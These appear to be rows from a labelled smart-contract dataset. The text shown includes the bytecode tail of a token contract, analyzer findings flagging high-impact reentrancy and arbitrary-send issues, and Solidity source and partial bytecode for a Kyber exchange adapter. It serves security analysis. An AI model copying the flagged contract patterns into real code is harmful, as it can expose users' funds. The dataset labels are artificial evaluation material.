1358c90919063ffffffff16565b61358c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061385d613858846141f5565b6141d0565b9050808382526020820190508285602086028201111561387c57600080fd5b60005b858110156138ac578161389288826138b6565b84526020840193506020830192505060018101905061387f565b5050509392505050565b6000813590506138c5816148d1565b92915050565b6000815190506138da816148d1565b92915050565b600082601f8301126138f157600080fd5b813561390184826020860161384a565b91505092915050565b600081359050613919816148e8565b92915050565b60008151905061392e816148e8565b92915050565b600081359050613943816148ff565b92915050565b600081519050613958816148ff565b92915050565b60006020828403121561397057600080fd5b600061397e848285016138b6565b91505092915050565b60006020828403121561399957600080fd5b60006139a7848285016138cb565b91505092915050565b600080604083850312156139c357600080fd5b60006139d1858286016138b6565b92505060206139e2858286016138b6565b9150509250929050565b600080600060608486031215613a0157600080fd5b6000613a0f868287016138b6565b9350506020613a20868287016138b6565b9250506040613a3186828701613934565b9150509250925092565b60008060408385031215613a4e57600080fd5b6000613a5c858286016138b6565b9250506020613a6d85828601613934565b9150509250929050565b600060208284031215613a8957600080fd5b600082013567ffffffffffffffff811115613aa357600080fd5b613aaf848285016138e0565b91505092915050565b600060208284031215613aca57600080fd5b6000613ad88482850161390a565b91505092915050565b600060208284031215613af357600080fd5b6000613b018482850161391f565b91505092915050565b600060208284031215613b1c57600080fd5b6000613b2a84828501613934565b91505092915050565b600080600060608486031215613b4857600080fd5b6000613b5686828701613949565b9350506020613b6786828701613949565b9250506040613b7886828701613949565b9150509250925092565b6000613b8e8383613b9a565b60208301905092915050565b613ba38161438b565b82525050565b613bb28161438b565b82525050565b6000613bc382614231565b613bcd8185614254565b9350613bd883614221565b8060005b83811015613c09578151613bf08882613b82565b9750613bfb83614247565b925050600181019050613bdc565b5085935050505092915050565b613c1f8161439d565b82525050565b613c2e816143e0565b82525050565b6000613c3f8261423c565b613c498185614265565b9350613c598185602086016143f2565b613c628161452c565b840191505092915050565b6000613c7a602383614265565b9150613c858261453d565b604082019050919050565b6000613c9d602a83614265565b9150613ca88261458c565b604082019050919050565b6000613cc0602283614265565b9150613ccb826145db565b604082019050919050565b6000613ce3602283614265565b9150613cee8261462a565b604082019050919050565b6000613d06601b83614265565b9150613d1182614679565b602082019050919050565b6000613d29601583614265565b9150613d34826146a2565b602082019050919050565b6000613d4c602383614265565b9150613d57826146cb565b604082019050919050565b6000613d6f602183614265565b9150613d7a8261471a565b604082019050919050565b6000613d92602083614265565b9150613d9d82614769565b602082019050919050565b6000613db5602983614265565b9150613dc082614792565b604082019050919050565b6000613dd8602583614265565b9150613de3826147e1565b604082019050919050565b6000613dfb602483614265565b9150613e0682614830565b604082019050919050565b6000613e1e601783614265565b9150613e298261487f565b602082019050919050565b6000613e41601883614265565b9150613e4c826148a8565b602082019050919050565b613e60816143c9565b82525050565b613e6f816143d3565b82525050565b6000602082019050613e8a6000830184613ba9565b92915050565b6000604082019050613ea56000830185613ba9565b613eb26020830184613ba9565b9392505050565b6000604082019050613ece6000830185613ba9565b613edb6020830184613e57565b9392505050565b600060c082019050613ef76000830189613ba9565b613f046020830188613e57565b613f116040830187613c25565b613f1e6060830186613c25565b613f2b6080830185613ba9565b613f3860a0830184613e57565b979650505050505050565b6000602082019050613f586000830184613c16565b92915050565b60006020820190508181036000830152613f788184613c34565b905092915050565b60006020820190508181036000830152613f9981613c6d565b9050919050565b60006020820190508181036000830152613fb981613c90565b9050919050565b60006020820190508181036000830152613fd981613cb3565b9050919050565b60006020820190508181036000830152613ff981613cd6565b9050919050565b6000602082019050818103600083015261401981613cf9565b9050919050565b6000602082019050818103600083015261403981613d1c565b9050919050565b6000602082019050818103600083015261405981613d3f565b9050919050565b6000602082019050818103600083015261407981613d62565b9050919050565b6000602082019050818103600083015261409981613d85565b9050919050565b600060208201905081810360008301526140b981613da8565b9050919050565b600060208201905081810360008301526140d981613dcb565b9050919050565b600060208201905081810360008301526140f981613dee565b9050919050565b6000602082019050818103600083015261411981613e11565b9050919050565b6000602082019050818103600083015261413981613e34565b9050919050565b60006020820190506141556000830184613e57565b92915050565b600060a0820190506141706000830188613e57565b61417d6020830187613c25565b818103604083015261418f8186613bb8565b905061419e6060830185613ba9565b6141ab6080830184613e57565b9695505050505050565b60006020820190506141ca6000830184613e66565b92915050565b60006141da6141eb565b90506141e68282614425565b919050565b6000604051905090565b600067ffffffffffffffff8211156142105761420f6144fd565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000614281826143c9565b915061428c836143c9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156142c1576142c061449f565b5b828201905092915050565b60006142d7826143c9565b91506142e2836143c9565b9250826142f2576142f16144ce565b5b828204905092915050565b6000614308826143c9565b9150614313836143c9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561434c5761434b61449f565b5b828202905092915050565b6000614362826143c9565b915061436d836143c9565b9250828210156143805761437f61449f565b5b828203905092915050565b6000614396826143a9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006143eb826143c9565b9050919050565b60005b838110156144105780820151818401526020810190506143f5565b8381111561441f576000848401525b50505050565b61442e8261452c565b810181811067ffffffffffffffff8211171561444d5761444c6144fd565b5b80604052505050565b6000614461826143c9565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156144945761449361449f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6148da8161438b565b81146148e557600080fd5b50565b6148f18161439d565b81146148fc57600080fd5b50565b614908816143c9565b811461491357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220223563416f154de653bab7d7f9c10c60c84c70983dbb449ed9c85d2f87abcc3464736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,913 |
0xe7d67e6018aa8fdd6526cb45ece5c5b7932f9feb | pragma solidity 0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
library Utils {
uint constant PRECISION = (10**18);
uint constant MAX_DECIMALS = 18;
function calcDstQty(uint srcQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) {
if( dstDecimals >= srcDecimals ) {
require((dstDecimals-srcDecimals) <= MAX_DECIMALS);
return (srcQty * rate * (10**(dstDecimals-srcDecimals))) / PRECISION;
} else {
require((srcDecimals-dstDecimals) <= MAX_DECIMALS);
return (srcQty * rate) / (PRECISION * (10**(srcDecimals-dstDecimals)));
}
}
// function calcSrcQty(uint dstQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) {
// if( srcDecimals >= dstDecimals ) {
// require((srcDecimals-dstDecimals) <= MAX_DECIMALS);
// return (PRECISION * dstQty * (10**(srcDecimals - dstDecimals))) / rate;
// } else {
// require((dstDecimals-srcDecimals) <= MAX_DECIMALS);
// return (PRECISION * dstQty) / (rate * (10**(dstDecimals - srcDecimals)));
// }
// }
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract ERC20Extended is ERC20 {
uint256 public decimals;
string public name;
string public symbol;
}
contract ComponentInterface {
string public name;
string public description;
string public category;
string public version;
}
contract ExchangeInterface is ComponentInterface {
/*
* @dev Checks if a trading pair is available
* For ETH, use 0xeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee
* @param address _sourceAddress The token to sell for the destAddress.
* @param address _destAddress The token to buy with the source token.
* @param bytes32 _exchangeId The exchangeId to choose. If it's an empty string, then the exchange will be chosen automatically.
* @return boolean whether or not the trading pair is supported by this exchange provider
*/
function supportsTradingPair(address _srcAddress, address _destAddress, bytes32 _exchangeId)
external view returns(bool supported);
/*
* @dev Buy a single token with ETH.
* @param ERC20Extended _token The token to buy, should be an ERC20Extended address.
* @param uint _amount Amount of ETH used to buy this token. Make sure the value sent to this function is the same as the _amount.
* @param uint _minimumRate The minimum amount of tokens to receive for 1 ETH.
* @param address _depositAddress The address to send the bought tokens to.
* @param bytes32 _exchangeId The exchangeId to choose. If it's an empty string, then the exchange will be chosen automatically.
* @param address _partnerId If the exchange supports a partnerId, you can supply your partnerId here.
* @return boolean whether or not the trade succeeded.
*/
function buyToken
(
ERC20Extended _token, uint _amount, uint _minimumRate,
address _depositAddress, bytes32 _exchangeId, address _partnerId
) external payable returns(bool success);
/*
* @dev Sell a single token for ETH. Make sure the token is approved beforehand.
* @param ERC20Extended _token The token to sell, should be an ERC20Extended address.
* @param uint _amount Amount of tokens to sell.
* @param uint _minimumRate The minimum amount of ETH to receive for 1 ERC20Extended token.
* @param address _depositAddress The address to send the bought tokens to.
* @param bytes32 _exchangeId The exchangeId to choose. If it's an empty string, then the exchange will be chosen automatically.
* @param address _partnerId If the exchange supports a partnerId, you can supply your partnerId here
* @return boolean boolean whether or not the trade succeeded.
*/
function sellToken
(
ERC20Extended _token, uint _amount, uint _minimumRate,
address _depositAddress, bytes32 _exchangeId, address _partnerId
) external returns(bool success);
}
contract KyberNetworkInterface {
function getExpectedRate(ERC20Extended src, ERC20Extended dest, uint srcQty)
external view returns (uint expectedRate, uint slippageRate);
function trade(
ERC20Extended source,
uint srcAmount,
ERC20Extended dest,
address destAddress,
uint maxDestAmount,
uint minConversionRate,
address walletId)
external payable returns(uint);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract OlympusExchangeAdapterInterface is Ownable {
function supportsTradingPair(address _srcAddress, address _destAddress)
external view returns(bool supported);
function getPrice(ERC20Extended _sourceAddress, ERC20Extended _destAddress, uint _amount)
external view returns(uint expectedRate, uint slippageRate);
function sellToken
(
ERC20Extended _token, uint _amount, uint _minimumRate,
address _depositAddress
) external returns(bool success);
function buyToken
(
ERC20Extended _token, uint _amount, uint _minimumRate,
address _depositAddress
) external payable returns(bool success);
function enable() external returns(bool);
function disable() external returns(bool);
function isEnabled() external view returns (bool success);
function setExchangeDetails(bytes32 _id, bytes32 _name) external returns(bool success);
function getExchangeDetails() external view returns(bytes32 _name, bool _enabled);
}
contract ERC20NoReturn {
uint256 public decimals;
string public name;
string public symbol;
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public;
function approve(address spender, uint tokens) public;
function transferFrom(address from, address to, uint tokens) public;
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract KyberNetworkAdapter is OlympusExchangeAdapterInterface{
using SafeMath for uint256;
KyberNetworkInterface public kyber;
address public exchangeAdapterManager;
bytes32 public exchangeId;
bytes32 public name;
ERC20Extended public constant ETH_TOKEN_ADDRESS = ERC20Extended(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee);
address public walletId = 0x09227deaeE08a5Ba9D6Eb057F922aDfAd191c36c;
bool public adapterEnabled;
modifier onlyExchangeAdapterManager() {
require(msg.sender == address(exchangeAdapterManager));
_;
}
constructor (KyberNetworkInterface _kyber, address _exchangeAdapterManager) public {
require(address(_kyber) != 0x0);
kyber = _kyber;
exchangeAdapterManager = _exchangeAdapterManager;
adapterEnabled = true;
}
function setExchangeAdapterManager(address _exchangeAdapterManager) external onlyOwner{
exchangeAdapterManager = _exchangeAdapterManager;
}
function setExchangeDetails(bytes32 _id, bytes32 _name)
external onlyExchangeAdapterManager returns(bool)
{
exchangeId = _id;
name = _name;
return true;
}
function getExchangeDetails()
external view returns(bytes32 _name, bool _enabled)
{
return (name, adapterEnabled);
}
function getExpectAmount(uint eth, uint destDecimals, uint rate) internal pure returns(uint){
return Utils.calcDstQty(eth, 18, destDecimals, rate);
}
function configAdapter(KyberNetworkInterface _kyber, address _walletId) external onlyOwner returns(bool success) {
if(address(_kyber) != 0x0){
kyber = _kyber;
}
if(_walletId != 0x0){
walletId = _walletId;
}
return true;
}
function supportsTradingPair(address _srcAddress, address _destAddress) external view returns(bool supported){
// Get price for selling one
uint amount = ERC20Extended(_srcAddress) == ETH_TOKEN_ADDRESS ? 10**18 : 10**ERC20Extended(_srcAddress).decimals();
uint price;
(price,) = this.getPrice(ERC20Extended(_srcAddress), ERC20Extended(_destAddress), amount);
return price > 0;
}
function enable() external onlyOwner returns(bool){
adapterEnabled = true;
return true;
}
function disable() external onlyOwner returns(bool){
adapterEnabled = false;
return true;
}
function isEnabled() external view returns (bool success) {
return adapterEnabled;
}
function getPrice(ERC20Extended _sourceAddress, ERC20Extended _destAddress, uint _amount) external view returns(uint, uint){
return kyber.getExpectedRate(_sourceAddress, _destAddress, _amount);
}
function buyToken(ERC20Extended _token, uint _amount, uint _minimumRate, address _depositAddress)
external payable returns(bool) {
if (address(this).balance < _amount) {
return false;
}
require(msg.value == _amount);
uint slippageRate;
(, slippageRate) = kyber.getExpectedRate(ETH_TOKEN_ADDRESS, _token, _amount);
if(slippageRate < _minimumRate){
return false;
}
uint beforeTokenBalance = _token.balanceOf(_depositAddress);
slippageRate = _minimumRate;
kyber.trade.value(msg.value)(
ETH_TOKEN_ADDRESS,
_amount,
_token,
_depositAddress,
2**256 - 1,
slippageRate,
walletId);
require(_token.balanceOf(_depositAddress) > beforeTokenBalance);
return true;
}
function sellToken(ERC20Extended _token, uint _amount, uint _minimumRate, address _depositAddress)
external returns(bool success)
{
ERC20NoReturn(_token).approve(address(kyber), 0);
ERC20NoReturn(_token).approve(address(kyber), _amount);
uint slippageRate;
(,slippageRate) = kyber.getExpectedRate(_token, ETH_TOKEN_ADDRESS, _amount);
if(slippageRate < _minimumRate){
return false;
}
slippageRate = _minimumRate;
// uint beforeTokenBalance = _token.balanceOf(this);
kyber.trade(
_token,
_amount,
ETH_TOKEN_ADDRESS,
_depositAddress,
2**256 - 1,
slippageRate,
walletId);
// require(_token.balanceOf(this) < beforeTokenBalance);
// require((beforeTokenBalance - _token.balanceOf(this)) == _amount);
return true;
}
function withdraw(uint amount) external onlyOwner {
require(amount <= address(this).balance);
uint sendAmount = amount;
if (amount == 0){
sendAmount = address(this).balance;
}
msg.sender.transfer(sendAmount);
}
} | 0x608060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461012d5780631878d1f1146101605780632e1a7d4d146101b75780632f2770db146101e457806342bff0d0146102135780634dafdc50146102565780634edba7bf146102895780635cd87c71146102b85780636601cd77146103335780636aa633b614610371578063715018a6146103a05780638da5cb5b146103b7578063a09c996f1461040e578063a2d10ba514610490578063a3907d71146104e7578063a9dd14d614610516578063c162ba2f1461059e578063ca626232146105f5578063ce22958b1461064c578063dda89912146106db578063f0bb2af714610732578063f2fde38b146107ad575b600080fd5b34801561013957600080fd5b506101426107f0565b60405180826000191660001916815260200191505060405180910390f35b34801561016c57600080fd5b506101756107f6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101c357600080fd5b506101e26004803603810190808035906020019092919050505061080e565b005b3480156101f057600080fd5b506101f9610903565b604051808215151515815260200191505060405180910390f35b34801561021f57600080fd5b50610254600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610982565b005b34801561026257600080fd5b5061026b610a21565b60405180826000191660001916815260200191505060405180910390f35b34801561029557600080fd5b5061029e610a27565b604051808215151515815260200191505060405180910390f35b3480156102c457600080fd5b50610319600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a3a565b604051808215151515815260200191505060405180910390f35b34801561033f57600080fd5b50610348610c67565b604051808360001916600019168152602001821515151581526020019250505060405180910390f35b34801561037d57600080fd5b50610386610c85565b604051808215151515815260200191505060405180910390f35b3480156103ac57600080fd5b506103b5610c9c565b005b3480156103c357600080fd5b506103cc610d9e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610476600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dc3565b604051808215151515815260200191505060405180910390f35b34801561049c57600080fd5b506104a5611337565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104f357600080fd5b506104fc61135d565b604051808215151515815260200191505060405180910390f35b34801561052257600080fd5b50610581600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113dc565b604051808381526020018281526020019250505060405180910390f35b3480156105aa57600080fd5b506105b3611528565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561060157600080fd5b5061060a61154e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561065857600080fd5b506106c1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611574565b604051808215151515815260200191505060405180910390f35b3480156106e757600080fd5b5061071860048036038101908080356000191690602001909291908035600019169060200190929190505050611aae565b604051808215151515815260200191505060405180910390f35b34801561073e57600080fd5b50610793600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b2c565b604051808215151515815260200191505060405180910390f35b3480156107b957600080fd5b506107ee600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c57565b005b60045481565b73eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee81565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561086b57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff1631821115151561089157600080fd5b81905060008214156108b8573073ffffffffffffffffffffffffffffffffffffffff163190505b3373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156108fe573d6000803e3d6000fd5b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561096057600080fd5b6000600560146101000a81548160ff0219169083151502179055506001905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109dd57600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60035481565b600560149054906101000a900460ff1681565b600080600073eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614610b2d578473ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b158015610aea57600080fd5b505af1158015610afe573d6000803e3d6000fd5b505050506040513d6020811015610b1457600080fd5b8101908080519060200190929190505050600a0a610b37565b670de0b6b3a76400005b91503073ffffffffffffffffffffffffffffffffffffffff1663a9dd14d68686856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200193505050506040805180830381600087803b158015610c0f57600080fd5b505af1158015610c23573d6000803e3d6000fd5b505050506040513d6040811015610c3957600080fd5b8101908080519060200190929190805190602001909291905050505080915050600081119250505092915050565b600080600454600560149054906101000a900460ff16915091509091565b6000600560149054906101000a900460ff16905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cf757600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a260008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000853073ffffffffffffffffffffffffffffffffffffffff16311015610df0576000925061132d565b8534141515610dfe57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663809a9e5573eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee89896040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200193505050506040805180830381600087803b158015610f0a57600080fd5b505af1158015610f1e573d6000803e3d6000fd5b505050506040513d6040811015610f3457600080fd5b81019080805190602001909291908051906020019092919050505090508092505084821015610f66576000925061132d565b8673ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561100157600080fd5b505af1158015611015573d6000803e3d6000fd5b505050506040513d602081101561102b57600080fd5b81019080805190602001909291905050509050849150600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cb3c28c73473eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee898b897fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff89600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518963ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018781526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019750505050505050506020604051808303818588803b15801561120857600080fd5b505af115801561121c573d6000803e3d6000fd5b50505050506040513d602081101561123357600080fd5b810190808051906020019092919050505050808773ffffffffffffffffffffffffffffffffffffffff166370a08231866040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156112e157600080fd5b505af11580156112f5573d6000803e3d6000fd5b505050506040513d602081101561130b57600080fd5b810190808051906020019092919050505011151561132857600080fd5b600192505b5050949350505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113ba57600080fd5b6001600560146101000a81548160ff0219169083151502179055506001905090565b600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663809a9e558686866040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200193505050506040805180830381600087803b1580156114d757600080fd5b505af11580156114eb573d6000803e3d6000fd5b505050506040513d604081101561150157600080fd5b81019080805190602001909291908051906020019092919050505091509150935093915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000808573ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660006040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561163d57600080fd5b505af1158015611651573d6000803e3d6000fd5b505050508573ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16876040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561171a57600080fd5b505af115801561172e573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663809a9e558773eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee886040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffff